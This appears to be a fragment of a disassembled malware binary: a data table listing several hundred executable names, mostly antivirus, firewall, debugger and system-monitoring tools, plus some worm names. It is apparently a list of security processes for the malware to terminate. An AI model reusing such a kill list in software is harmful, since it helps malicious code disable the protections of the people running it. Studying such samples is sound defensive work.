		dd offset aAvkpop_exe	; "AVKPOP.EXE"
		dd offset aAvkserv_exe	; "AVKSERV.EXE"
		dd offset aAvkservice_exe ; "AVKSERVICE.EXE"
		dd offset aAvkwctl9_exe	; "AVKWCTl9.EXE"
		dd offset aAvltmain_exe	; "AVLTMAIN.EXE"
		dd offset aAvnt_exe	; "AVNT.EXE"
		dd offset aAvp_exe	; "AVP.EXE"
		dd offset aAvp32_exe	; "AVP32.EXE"
		dd offset aAvpcc_exe	; "AVPCC.EXE"
		dd offset aAvpdos32_exe	; "AVPDOS32.EXE"
		dd offset aAvpm_exe	; "AVPM.EXE"
		dd offset aAvptc32_exe	; "AVPTC32.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvsched32_exe ; "AVSCHED32.EXE"
		dd offset aAvsynmgr_exe	; "AVSYNMGR.EXE"
		dd offset aAvwin95_exe	; "AVWIN95.EXE"
		dd offset aAvwinnt_exe	; "AVWINNT.EXE"
		dd offset aAvwupd_exe	; "AVWUPD.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupsrv_exe	; "AVWUPSRV.EXE"
		dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE"
		dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aBackweb_exe	; "BACKWEB.EXE"
		dd offset aBargains_exe	; "BARGAINS.EXE"
		dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE"
		dd offset aBeagle_exe	; "BEAGLE.EXE"
		dd offset aBelt_exe	; "BELT.EXE"
		dd offset aBidef_exe	; "BIDEF.EXE"
		dd offset aBidserver_exe ; "BIDSERVER.EXE"
		dd offset aBipcp_exe	; "BIPCP.EXE"
		dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE"
		dd offset aBisp_exe	; "BISP.EXE"
		dd offset aBlackd_exe	; "BLACKD.EXE"
		dd offset aBlackice_exe	; "BLACKICE.EXE"
		dd offset aBlss_exe	; "BLSS.EXE"
		dd offset aBootconf_exe	; "BOOTCONF.EXE"
		dd offset aBootwarn_exe	; "BOOTWARN.EXE"
		dd offset aBorg2_exe	; "BORG2.EXE"
		dd offset aBpc_exe	; "BPC.EXE"
		dd offset aBrasil_exe	; "BRASIL.EXE"
		dd offset aBs120_exe	; "BS120.EXE"
		dd offset aBundle_exe	; "BUNDLE.EXE"
		dd offset aBvt_exe	; "BVT.EXE"
		dd offset aCcapp_exe	; "CCAPP.EXE"
		dd offset aCcevtmgr_exe	; "CCEVTMGR.EXE"
		dd offset aCcpxysvc_exe	; "CCPXYSVC.EXE"
		dd offset aCdp_exe	; "CDP.EXE"
		dd offset aCfd_exe	; "CFD.EXE"
		dd offset aCfgwiz_exe	; "CFGWIZ.EXE"
		dd offset aCfiadmin_exe	; "CFIADMIN.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfinet_exe	; "CFINET.EXE"
		dd offset aCfinet32_exe	; "CFINET32.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aClean_exe	; "CLEAN.EXE"
		dd offset aCleaner_exe	; "CLEANER.EXE"
		dd offset aCleaner3_exe	; "CLEANER3.EXE"
		dd offset aCleanpc_exe	; "CLEANPC.EXE"
		dd offset aClick_exe	; "CLICK.EXE"
		dd offset aCmd32_exe	; "CMD32.EXE"
		dd offset aCmesys_exe	; "CMESYS.EXE"
		dd offset aCmgrdian_exe	; "CMGRDIAN.EXE"
		dd offset aCmon016_exe	; "CMON016.EXE"
		dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE"
		dd offset aCpd_exe	; "CPD.EXE"
		dd offset aCpf9x206_exe	; "CPF9X206.EXE"
		dd offset aCpfnt206_exe	; "CPFNT206.EXE"
		dd offset aCtrl_exe	; "CTRL.EXE"
		dd offset aCv_exe	; "CV.EXE"
		dd offset aCwnb181_exe	; "CWNB181.EXE"
		dd offset aCwntdwmo_exe	; "CWNTDWMO.EXE"
		dd offset aClaw95_exe	; "Claw95.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aDatemanager_ex ; "DATEMANAGER.EXE"
		dd offset aDcomx_exe	; "DCOMX.EXE"
		dd offset aDefalert_exe	; "DEFALERT.EXE"
		dd offset aDefscangui_exe ; "DEFSCANGUI.EXE"
		dd offset aDefwatch_exe	; "DEFWATCH.EXE"
		dd offset aDeputy_exe	; "DEPUTY.EXE"
		dd offset aDivx_exe	; "DIVX.EXE"
		dd offset aDllcache_exe	; "DLLCACHE.EXE"
		dd offset aDllreg_exe	; "DLLREG.EXE"
		dd offset aDoors_exe	; "DOORS.EXE"
		dd offset aDpf_exe	; "DPF.EXE"
		dd offset aDpfsetup_exe	; "DPFSETUP.EXE"
		dd offset aDpps2_exe	; "DPPS2.EXE"
		dd offset aDrwatson_exe	; "DRWATSON.EXE"
		dd offset aDrweb32_exe	; "DRWEB32.EXE"
		dd offset aDrwebupw_exe	; "DRWEBUPW.EXE"
		dd offset aDssagent_exe	; "DSSAGENT.EXE"
		dd offset aDvp95_exe	; "DVP95.EXE"
		dd offset aDvp95_0_exe	; "DVP95_0.EXE"
		dd offset aEcengine_exe	; "ECENGINE.EXE"
		dd offset aEfpeadm_exe	; "EFPEADM.EXE"
		dd offset aEmsw_exe	; "EMSW.EXE"
		dd offset aEnt_exe	; "ENT.EXE"
		dd offset aEsafe_exe	; "ESAFE.EXE"
		dd offset aEscanh95_exe	; "ESCANH95.EXE"
		dd offset aEscanhnt_exe	; "ESCANHNT.EXE"
		dd offset aEscanv95_exe	; "ESCANV95.EXE"
		dd offset aEspwatch_exe	; "ESPWATCH.EXE"
		dd offset aEthereal_exe	; "ETHEREAL.EXE"
		dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE"
		dd offset aEvpn_exe	; "EVPN.EXE"
		dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE"
		dd offset aExe_avxw_exe	; "EXE.AVXW.EXE"
		dd offset aExpert_exe	; "EXPERT.EXE"
		dd offset aExplore_exe	; "EXPLORE.EXE"
		dd offset aFAgnt95_exe	; "F-AGNT95.EXE"
		dd offset aFProt_exe	; "F-PROT.EXE"
		dd offset aFProt95_exe	; "F-PROT95.EXE"
		dd offset aFStopw_exe	; "F-STOPW.EXE"
		dd offset aFameh32_exe	; "FAMEH32.EXE"
		dd offset aFast_exe	; "FAST.EXE"
		dd offset aFch32_exe	; "FCH32.EXE"
		dd offset aFih32_exe	; "FIH32.EXE"
		dd offset aFindviru_exe	; "FINDVIRU.EXE"
		dd offset aFirewall_exe	; "FIREWALL.EXE"
		dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE"
		dd offset aFnrb32_exe	; "FNRB32.EXE"
		dd offset aFpWin_exe	; "FP-WIN.EXE"
		dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE"
		dd offset aFprot_exe	; "FPROT.EXE"
		dd offset aFrw_exe	; "FRW.EXE"
		dd offset aFsaa_exe	; "FSAA.EXE"
		dd offset aFsav_exe	; "FSAV.EXE"
		dd offset aFsav32_exe	; "FSAV32.EXE"
		dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE"
		dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE"
		dd offset aFsav95_exe	; "FSAV95.EXE"
		dd offset aFsgk32_exe	; "FSGK32.EXE"
		dd offset aFsm32_exe	; "FSM32.EXE"
		dd offset aFsma32_exe	; "FSMA32.EXE"
		dd offset aFsmb32_exe	; "FSMB32.EXE"
		dd offset aGator_exe	; "GATOR.EXE"
		dd offset aGbmenu_exe	; "GBMENU.EXE"
		dd offset aGbpoll_exe	; "GBPOLL.EXE"
		dd offset aGenerics_exe	; "GENERICS.EXE"
		dd offset aGmt_exe	; "GMT.EXE"
		dd offset aGuard_exe	; "GUARD.EXE"
		dd offset aGuarddog_exe	; "GUARDDOG.EXE"
		dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE"
		dd offset aHbinst_exe	; "HBINST.EXE"
		dd offset aHbsrv_exe	; "HBSRV.EXE"
		dd offset aHotactio_exe	; "HOTACTIO.EXE"
		dd offset aHotpatch_exe	; "HOTPATCH.EXE"
		dd offset aHtlog_exe	; "HTLOG.EXE"
		dd offset aHtpatch_exe	; "HTPATCH.EXE"
		dd offset aHwpe_exe	; "HWPE.EXE"
		dd offset aHxdl_exe	; "HXDL.EXE"
		dd offset aHxiul_exe	; "HXIUL.EXE"
		dd offset aIamapp_exe	; "IAMAPP.EXE"
		dd offset aIamserv_exe	; "IAMSERV.EXE"
		dd offset aIamstats_exe	; "IAMSTATS.EXE"
		dd offset aIbmasn_exe	; "IBMASN.EXE"
		dd offset aIbmavsp_exe	; "IBMAVSP.EXE"
		dd offset aIcload95_exe	; "ICLOAD95.EXE"
		dd offset aIcloadnt_exe	; "ICLOADNT.EXE"
		dd offset aIcmon_exe	; "ICMON.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsuppnt_exe	; "ICSUPPNT.EXE"
		dd offset aIdle_exe	; "IDLE.EXE"
		dd offset aIedll_exe	; "IEDLL.EXE"
		dd offset aIedriver_exe	; "IEDRIVER.EXE"
		dd offset aIexplorer_exe ; "IEXPLORER.EXE"
		dd offset aIface_exe	; "IFACE.EXE"
		dd offset aIfw2000_exe	; "IFW2000.EXE"
		dd offset aInetlnfo_exe	; "INETLNFO.EXE"
		dd offset aInfus_exe	; "INFUS.EXE"
		dd offset aInfwin_exe	; "INFWIN.EXE"
		dd offset aInit_exe	; "INIT.EXE"
		dd offset aIntdel_exe	; "INTDEL.EXE"
		dd offset aIntren_exe	; "INTREN.EXE"
		dd offset aIomon98_exe	; "IOMON98.EXE"
		dd offset aIparmor_exe	; "IPARMOR.EXE"
		dd offset aIris_exe	; "IRIS.EXE"
		dd offset aIsass_exe	; "ISASS.EXE"
		dd offset aIsrv95_exe	; "ISRV95.EXE"
		dd offset aIstsvc_exe	; "ISTSVC.EXE"
		dd offset aJammer_exe	; "JAMMER.EXE"
		dd offset aJdbgmrg_exe	; "JDBGMRG.EXE"
		dd offset aJedi_exe	; "JEDI.EXE"
		dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE"
		dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE"
		dd offset aKavpf_exe	; "KAVPF.EXE"
		dd offset aKazza_exe	; "KAZZA.EXE"
		dd offset aKeenvalue_exe ; "KEENVALUE.EXE"
		dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE"
		dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE"
		dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE"
		dd offset aKernel32_exe	; "KERNEL32.EXE"
		dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE"
		dd offset aLauncher_exe	; "LAUNCHER.EXE"
		dd offset aLdnetmon_exe	; "LDNETMON.EXE"
		dd offset aLdpro_exe	; "LDPRO.EXE"
		dd offset aLdpromenu_exe ; "LDPROMENU.EXE"
		dd offset aLdscan_exe	; "LDSCAN.EXE"
		dd offset aLnetinfo_exe	; "LNETINFO.EXE"
		dd offset aLoader_exe	; "LOADER.EXE"
		dd offset aLocalnet_exe	; "LOCALNET.EXE"
		dd offset aLockdown_exe	; "LOCKDOWN.EXE"
		dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE"
		dd offset aLookout_exe	; "LOOKOUT.EXE"
		dd offset aLordpe_exe	; "LORDPE.EXE"
		dd offset aLsetup_exe	; "LSETUP.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuau_exe	; "LUAU.EXE"
		dd offset aLucomserver_ex ; "LUCOMSERVER.EXE"
		dd offset aLuinit_exe	; "LUINIT.EXE"
		dd offset aLuspt_exe	; "LUSPT.EXE"
		dd offset aMapisvc32_exe ; "MAPISVC32.EXE"
		dd offset aMcagent_exe	; "MCAGENT.EXE"
		dd offset aMcmnhdlr_exe	; "MCMNHDLR.EXE"
		dd offset aMcshield_exe	; "MCSHIELD.EXE"
		dd offset aMctool_exe	; "MCTOOL.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcvsrte_exe	; "MCVSRTE.EXE"
		dd offset aMcvsshld_exe	; "MCVSSHLD.EXE"
		dd offset aMd_exe	; "MD.EXE"
		dd offset aMfin32_exe	; "MFIN32.EXE"
		dd offset aMfw2en_exe	; "MFW2EN.EXE"
		dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE"
		dd offset aMgavrtcl_exe	; "MGAVRTCL.EXE"
		dd offset aMgavrte_exe	; "MGAVRTE.EXE"
		dd offset aMghtml_exe	; "MGHTML.EXE"
		dd offset aMgui_exe	; "MGUI.EXE"
		dd offset aMinilog_exe	; "MINILOG.EXE"
		dd offset aMmod_exe	; "MMOD.EXE"
		dd offset aMonitor_exe	; "MONITOR.EXE"
		dd offset aMoolive_exe	; "MOOLIVE.EXE"
		dd offset aMostat_exe	; "MOSTAT.EXE"
		dd offset aMpfagent_exe	; "MPFAGENT.EXE"
		dd offset aMpfservice_exe ; "MPFSERVICE.EXE"
		dd offset aMpftray_exe	; "MPFTRAY.EXE"
		dd offset aMrflux_exe	; "MRFLUX.EXE"
		dd offset aMsapp_exe	; "MSAPP.EXE"
		dd offset aMsbb_exe	; "MSBB.EXE"
		dd offset aMsblast_exe	; "MSBLAST.EXE"
		dd offset aMscache_exe	; "MSCACHE.EXE"
		dd offset aMsccn32_exe	; "MSCCN32.EXE"
		dd offset aMscman_exe	; "MSCMAN.EXE"
		dd offset aMsconfig_exe	; "MSCONFIG.EXE"
		dd offset aMsdm_exe	; "MSDM.EXE"
		dd offset aMsdos_exe	; "MSDOS.EXE"
		dd offset aMsiexec16_exe ; "MSIEXEC16.EXE"
		dd offset aMsinfo32_exe	; "MSINFO32.EXE"
		dd offset aMslaugh_exe	; "MSLAUGH.EXE"
		dd offset aMsmgt_exe	; "MSMGT.EXE"
		dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE"
		dd offset aMssmmc32_exe	; "MSSMMC32.EXE"
		dd offset aMssys_exe	; "MSSYS.EXE"
		dd offset aMsvxd_exe	; "MSVXD.EXE"
		dd offset aMu0311ad_exe	; "MU0311AD.EXE"
		dd offset aMwatch_exe	; "MWATCH.EXE"
		dd offset aN32scanw_exe	; "N32SCANW.EXE"
		dd offset aNav_exe	; "NAV.EXE"
		dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE"
		dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE"
		dd offset aNavapsvc_exe	; "NAVAPSVC.EXE"
		dd offset aNavapw32_exe	; "NAVAPW32.EXE"
		dd offset aNavdx_exe	; "NAVDX.EXE"
		dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE"
		dd offset aNavlu32_exe	; "NAVLU32.EXE"
		dd offset aNavnt_exe	; "NAVNT.EXE"
		dd offset aNavstub_exe	; "NAVSTUB.EXE"
		dd offset aNavw32_exe	; "NAVW32.EXE"
		dd offset aNavwnt_exe	; "NAVWNT.EXE"
		dd offset aNc2000_exe	; "NC2000.EXE"
		dd offset aNcinst4_exe	; "NCINST4.EXE"
		dd offset aNdd32_exe	; "NDD32.EXE"
		dd offset aNeomonitor_exe ; "NEOMONITOR.EXE"
		dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE"
		dd offset aNetarmor_exe	; "NETARMOR.EXE"
		dd offset aNetd32_exe	; "NETD32.EXE"
		dd offset aNetinfo_exe	; "NETINFO.EXE"
		dd offset aNetmon_exe	; "NETMON.EXE"
		dd offset aNetscanpro_exe ; "NETSCANPRO.EXE"
		dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE"
		dd offset aNetstat_exe	; "NETSTAT.EXE"
		dd offset aNetutils_exe	; "NETUTILS.EXE"
		dd offset aNisserv_exe	; "NISSERV.EXE"
		dd offset aNisum_exe	; "NISUM.EXE"
		dd offset aNmain_exe	; "NMAIN.EXE"
		dd offset aNod32_exe	; "NOD32.EXE"
		dd offset aNormist_exe	; "NORMIST.EXE"
		dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE"
		dd offset aNotstart_exe	; "NOTSTART.EXE"
		dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE"
		dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE"
		dd offset aNprotect_exe	; "NPROTECT.EXE"
		dd offset aNpscheck_exe	; "NPSCHECK.EXE"
		dd offset aNpssvc_exe	; "NPSSVC.EXE"
		dd offset aNsched32_exe	; "NSCHED32.EXE"
		dd offset aNssys32_exe	; "NSSYS32.EXE"
		dd offset aNstask32_exe	; "NSTASK32.EXE"
		dd offset aNsupdate_exe	; "NSUPDATE.EXE"
		dd offset aNt_exe	; "NT.EXE"
		dd offset aNtrtscan_exe	; "NTRTSCAN.EXE"
		dd offset aNtvdm_exe	; "NTVDM.EXE"
		dd offset aNtxconfig_exe ; "NTXconfig.EXE"
		dd offset aNui_exe	; "NUI.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNvarch16_exe	; "NVARCH16.EXE"
		dd offset aNvc95_exe	; "NVC95.EXE"
		dd offset aNvsvc32_exe	; "NVSVC32.EXE"
		dd offset aNwinst4_exe	; "NWINST4.EXE"
		dd offset aNwservice_exe ; "NWSERVICE.EXE"
		dd offset aNwtool16_exe	; "NWTOOL16.EXE"
		dd offset aOllydbg_exe	; "OLLYDBG.EXE"
		dd offset aOnsrvr_exe	; "ONSRVR.EXE"
		dd offset aOptimize_exe	; "OPTIMIZE.EXE"
		dd offset aOstronet_exe	; "OSTRONET.EXE"
		dd offset aOtfix_exe	; "OTFIX.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE"
		dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE"
		dd offset aPadmin_exe	; "PADMIN.EXE"
		dd offset aPanixk_exe	; "PANIXK.EXE"
		dd offset aPatch_exe	; "PATCH.EXE"
		dd offset aPavcl_exe	; "PAVCL.EXE"
		dd offset aPavproxy_exe	; "PAVPROXY.EXE"
		dd offset aPavsched_exe	; "PAVSCHED.EXE"
		dd offset aPavw_exe	; "PAVW.EXE"
		dd offset aPcc2002s902_ex ; "PCC2002S902.EXE"
		dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE"
		dd offset aPcciomon_exe	; "PCCIOMON.EXE"
		dd offset aPccntmon_exe	; "PCCNTMON.EXE"
		dd offset aPccwin97_exe	; "PCCWIN97.EXE"
		dd offset aPccwin98_exe	; "PCCWIN98.EXE"
		dd offset aPcdsetup_exe	; "PCDSETUP.EXE"
		dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE"
		dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE"
		dd offset aPcscan_exe	; "PCSCAN.EXE"
		dd offset aPdsetup_exe	; "PDSETUP.EXE"
		dd offset aPenis_exe	; "PENIS.EXE"
		dd offset aPeriscope_exe ; "PERISCOPE.EXE"
		dd offset aPersfw_exe	; "PERSFW.EXE"
		dd offset aPerswf_exe	; "PERSWF.EXE"
		dd offset aPf2_exe	; "PF2.EXE"
		dd offset aPfwadmin_exe	; "PFWADMIN.EXE"
		dd offset aPgmonitr_exe	; "PGMONITR.EXE"
		dd offset aPingscan_exe	; "PINGSCAN.EXE"
		dd offset aPlatin_exe	; "PLATIN.EXE"
		dd offset aPop3trap_exe	; "POP3TRAP.EXE"
		dd offset aPoproxy_exe	; "POPROXY.EXE"
		dd offset aPopscan_exe	; "POPSCAN.EXE"
		dd offset aPortdetective_ ; "PORTDETECTIVE.EXE"
		dd offset aPortmonitor_ex ; "PORTMONITOR.EXE"
		dd offset aPowerscan_exe ; "POWERSCAN.EXE"
		dd offset aPpinupdt_exe	; "PPINUPDT.EXE"
		dd offset aPptbc_exe	; "PPTBC.EXE"
		dd offset aPpvstop_exe	; "PPVSTOP.EXE"
		dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE"
		dd offset aPrmt_exe	; "PRMT.EXE"
		dd offset aPrmvr_exe	; "PRMVR.EXE"
		dd offset aProcdump_exe	; "PROCDUMP.EXE"
		dd offset aProcessmonitor ; "PROCESSMONITOR.EXE"
		dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE"
		dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE"
		dd offset aProport_exe	; "PROPORT.EXE"
		dd offset aProtectx_exe	; "PROTECTX.EXE"
		dd offset aPspf_exe	; "PSPF.EXE"
		dd offset aPurge_exe	; "PURGE.EXE"
		dd offset aPussy_exe	; "PUSSY.EXE"
		dd offset aPview95_exe	; "PVIEW95.EXE"
		dd offset aQconsole_exe	; "QCONSOLE.EXE"
		dd offset aQserver_exe	; "QSERVER.EXE"
		dd offset aRapapp_exe	; "RAPAPP.EXE"
		dd offset aRav7_exe	; "RAV7.EXE"
		dd offset aRav7win_exe	; "RAV7WIN.EXE"
		dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE"
		dd offset aRay_exe	; "RAY.EXE"
		dd offset aRb32_exe	; "RB32.EXE"
		dd offset aRcsync_exe	; "RCSYNC.EXE"
		dd offset aRealmon_exe	; "REALMON.EXE"
		dd offset aReged_exe	; "REGED.EXE"
		dd offset aRegedit_exe	; "REGEDIT.EXE"
		dd offset aRegedt32_exe	; "REGEDT32.EXE"
		dd offset aRescue_exe	; "RESCUE.EXE"
		dd offset aRescue32_exe	; "RESCUE32.EXE"
		dd offset aRrguard_exe	; "RRGUARD.EXE"
		dd offset aRshell_exe	; "RSHELL.EXE"
		dd offset aRtvscan_exe	; "RTVSCAN.EXE"
		dd offset aRtvscn95_exe	; "RTVSCN95.EXE"
		dd offset aRulaunch_exe	; "RULAUNCH.EXE"
		dd offset aRun32dll_exe	; "RUN32DLL.EXE"
		dd offset aRundll_exe	; "RUNDLL.EXE"
		dd offset aRundll16_exe	; "RUNDLL16.EXE"
		dd offset aRuxdll32_exe	; "RUXDLL32.EXE"
		dd offset aSafeweb_exe	; "SAFEWEB.EXE"
		dd offset aSahagent_exe	; "SAHAGENT.EXE"
		dd offset aSave_exe	; "SAVE.EXE"
		dd offset aSavenow_exe	; "SAVENOW.EXE"
		dd offset aSbserv_exe	; "SBSERV.EXE"
		dd offset aSc_exe	; "SC.EXE"
		dd offset aScam32_exe	; "SCAM32.EXE"
		dd offset aScan32_exe	; "SCAN32.EXE"
		dd offset aScan95_exe	; "SCAN95.EXE"
		dd offset aScanpm_exe	; "SCANPM.EXE"
		dd offset aScrscan_exe	; "SCRSCAN.EXE"
		dd offset aScrsvr_exe	; "SCRSVR.EXE"
		dd offset aScvhost_exe	; "SCVHOST.EXE"
		dd offset aSd_exe	; "SD.EXE"
		dd offset aServ95_exe	; "SERV95.EXE"
		dd offset aService_exe	; "SERVICE.EXE"
		dd offset aServlce_exe	; "SERVLCE.EXE"
		dd offset aServlces_exe	; "SERVLCES.EXE"
		dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE"
		dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE"
		dd offset aSfc_exe	; "SFC.EXE"
		dd offset aSgssfw32_exe	; "SGSSFW32.EXE"
		dd offset aSh_exe	; "SH.EXE"
		dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE"
		dd offset aShn_exe	; "SHN.EXE"
		dd offset aShowbehind_exe ; "SHOWBEHIND.EXE"
		dd offset aSmc_exe	; "SMC.EXE"
		dd offset aSms_exe	; "SMS.EXE"
		dd offset aSmss32_exe	; "SMSS32.EXE"
		dd offset aSoap_exe	; "SOAP.EXE"
		dd offset aSofi_exe	; "SOFI.EXE"
		dd offset aSperm_exe	; "SPERM.EXE"
		dd offset aSpf_exe	; "SPF.EXE"
		dd offset aSphinx_exe	; "SPHINX.EXE"
		dd offset aSpoler_exe	; "SPOLER.EXE"
		dd offset aSpoolcv_exe	; "SPOOLCV.EXE"
		dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE"
		dd offset aSpyxx_exe	; "SPYXX.EXE"
		dd offset aSrexe_exe	; "SREXE.EXE"
		dd offset aSrng_exe	; "SRNG.EXE"
		dd offset aSs3edit_exe	; "SS3EDIT.EXE"
		dd offset aSsgrate_exe	; "SSGRATE.EXE"
		dd offset aSsg_4104_exe	; "SSG_4104.EXE"
		dd offset aSt2_exe	; "ST2.EXE"
		dd offset aStart_exe	; "START.EXE"
		dd offset aStcloader_exe ; "STCLOADER.EXE"
		dd offset aSupftrl_exe	; "SUPFTRL.EXE"
		dd offset aSupport_exe	; "SUPPORT.EXE"
		dd offset aSupporter5_exe ; "SUPPORTER5.EXE"
		dd offset aSvc_exe	; "SVC.EXE"
		dd offset aSvchostc_exe	; "SVCHOSTC.EXE"
		dd offset aSvchosts_exe	; "SVCHOSTS.EXE"
		dd offset aSvshost_exe	; "SVSHOST.EXE"
		dd offset aSweep95_exe	; "SWEEP95.EXE"
		dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE"
		dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE"
		dd offset aSymtray_exe	; "SYMTRAY.EXE"
		dd offset aSysedit_exe	; "SYSEDIT.EXE"
		dd offset aSystem_exe	; "SYSTEM.EXE"
		dd offset aSystem32_exe	; "SYSTEM32.EXE"
		dd offset aSysupd_exe	; "SYSUPD.EXE"
		dd offset aTaskmg_exe	; "TASKMG.EXE"
		dd offset aTaskmo_exe	; "TASKMO.EXE"
		dd offset aTaskmon_exe	; "TASKMON.EXE"
		dd offset aTaumon_exe	; "TAUMON.EXE"
		dd offset aTbscan_exe	; "TBSCAN.EXE"
		dd offset aTc_exe	; "TC.EXE"
		dd offset aTca_exe	; "TCA.EXE"
		dd offset aTcm_exe	; "TCM.EXE"
		dd offset aTds3_exe	; "TDS-3.EXE"
		dd offset aTds298_exe	; "TDS2-98.EXE"
		dd offset aTds2Nt_exe	; "TDS2-NT.EXE"
		dd offset aTeekids_exe	; "TEEKIDS.EXE"
		dd offset aTfak_exe	; "TFAK.EXE"
		dd offset aTfak5_exe	; "TFAK5.EXE"
		dd offset aTgbob_exe	; "TGBOB.EXE"
		dd offset aTitanin_exe	; "TITANIN.EXE"
		dd offset aTitaninxp_exe ; "TITANINXP.EXE"
		dd offset aTracert_exe	; "TRACERT.EXE"
		dd offset aTrickler_exe	; "TRICKLER.EXE"
		dd offset aTrjscan_exe	; "TRJSCAN.EXE"
		dd offset aTrjsetup_exe	; "TRJSETUP.EXE"
		dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE"
		dd offset aTsadbot_exe	; "TSADBOT.EXE"
		dd offset aTvmd_exe	; "TVMD.EXE"
		dd offset aTvtmd_exe	; "TVTMD.EXE"
		dd offset aUndoboot_exe	; "UNDOBOOT.EXE"
		dd offset aUpdat_exe	; "UPDAT.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpgrad_exe	; "UPGRAD.EXE"
		dd offset aUtpost_exe	; "UTPOST.EXE"
		dd offset aVbcmserv_exe	; "VBCMSERV.EXE"
		dd offset aVbcons_exe	; "VBCONS.EXE"
		dd offset aVbust_exe	; "VBUST.EXE"
		dd offset aVbwin9x_exe	; "VBWIN9X.EXE"
		dd offset aVbwinntw_exe	; "VBWINNTW.EXE"
		dd offset aVcsetup_exe	; "VCSETUP.EXE"
		dd offset aVet32_exe	; "VET32.EXE"
		dd offset aVet95_exe	; "VET95.EXE"
		dd offset aVettray_exe	; "VETTRAY.EXE"
		dd offset aVfsetup_exe	; "VFSETUP.EXE"
		dd offset aVirHelp_exe	; "VIR-HELP.EXE"
		dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE"
		dd offset aVnlan300_exe	; "VNLAN300.EXE"
		dd offset aVnpc3000_exe	; "VNPC3000.EXE"
		dd offset aVpc32_exe	; "VPC32.EXE"
		dd offset aVpc42_exe	; "VPC42.EXE"
		dd offset aVpfw30s_exe	; "VPFW30S.EXE"
		dd offset aVptray_exe	; "VPTRAY.EXE"
		dd offset aVscan40_exe	; "VSCAN40.EXE"
		dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE"
		dd offset aVsched_exe	; "VSCHED.EXE"
		dd offset aVsecomr_exe	; "VSECOMR.EXE"
		dd offset aVshwin32_exe	; "VSHWIN32.EXE"
		dd offset aVsisetup_exe	; "VSISETUP.EXE"
		dd offset aVsmain_exe	; "VSMAIN.EXE"
		dd offset aVsmon_exe	; "VSMON.EXE"
		dd offset aVsstat_exe	; "VSSTAT.EXE"
		dd offset aVswin9xe_exe	; "VSWIN9XE.EXE"
		dd offset aVswinntse_exe ; "VSWINNTSE.EXE"
		dd offset aVswinperse_exe ; "VSWINPERSE.EXE"
		dd offset aW32dsm89_exe	; "W32DSM89.EXE"
		dd offset aW9x_exe	; "W9X.EXE"
